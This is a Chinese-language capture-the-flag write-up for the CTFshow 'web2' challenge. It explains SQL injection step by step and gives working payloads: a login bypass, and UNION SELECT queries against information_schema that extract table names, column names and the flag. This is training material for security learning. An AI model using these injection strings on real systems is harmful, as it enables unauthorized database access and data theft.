CTFSHOW WEB 2
知识点补充
1. 注入类型判断
字符型注入:参数被单引号包裹
'$username'
检测方法:输入
a' or '1'='1
或a' #
测试登录绕过关键点:需要通过闭合前面的引号,注释掉后面的引
2. 联合查询注入流程
确定注入点 → 判断列数 → 确定显示位 → 提取数据库信息 → 获取表名 → 获取列名 → 提取数据
3. 信息模式利用
information_schema.tables
:获取所有表信息information_schema.columns
:获取所有列信息table_schema
:指定数据库名table_name
:指定表名
4. MySQL函数使用
database()
:获取当前数据库名group_concat()
:将多行结果合并为一行union select
:联合查询获取数据
解题思路
1.先使用万能账户查看是否可以登录成功(账户:admin 'or 1=1#)
2.发现有回显后,证明存在SQL注入,使用联合注入进行查询数据库列数,这里直接跳过一行一行查询过程,直接使用admin' union select 1,2,3#,进行查询,发现爆出2库
3.使用admin 'union select 1,database(),3#,查到这个数据库名为web2
4.在已知数据库的情况下,查询数据库内所有表名,
information_schema.tables:MySQL的系统表,存储了所有数据库和表的元数据信息table_schema='web2':筛选条件,只查询属于'web2'数据库的表group_concat(table_name):将查询到的所有表名用逗号连接成一个字符串admin'union select 1,(select group_concat(table_name) from information_schema.tables
where table_schema='web2'),3#
5.爆出表中内容,发现存在flag表名,证明这就是我所需的flag,用table_name='flag'读取flag表字段
admin' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='web2' and table_name='flag'),3 #
6.发现只有一个内容这就是所需的flag,直接获取flag表的数据
a' union select 1,(select flag from flag),3 #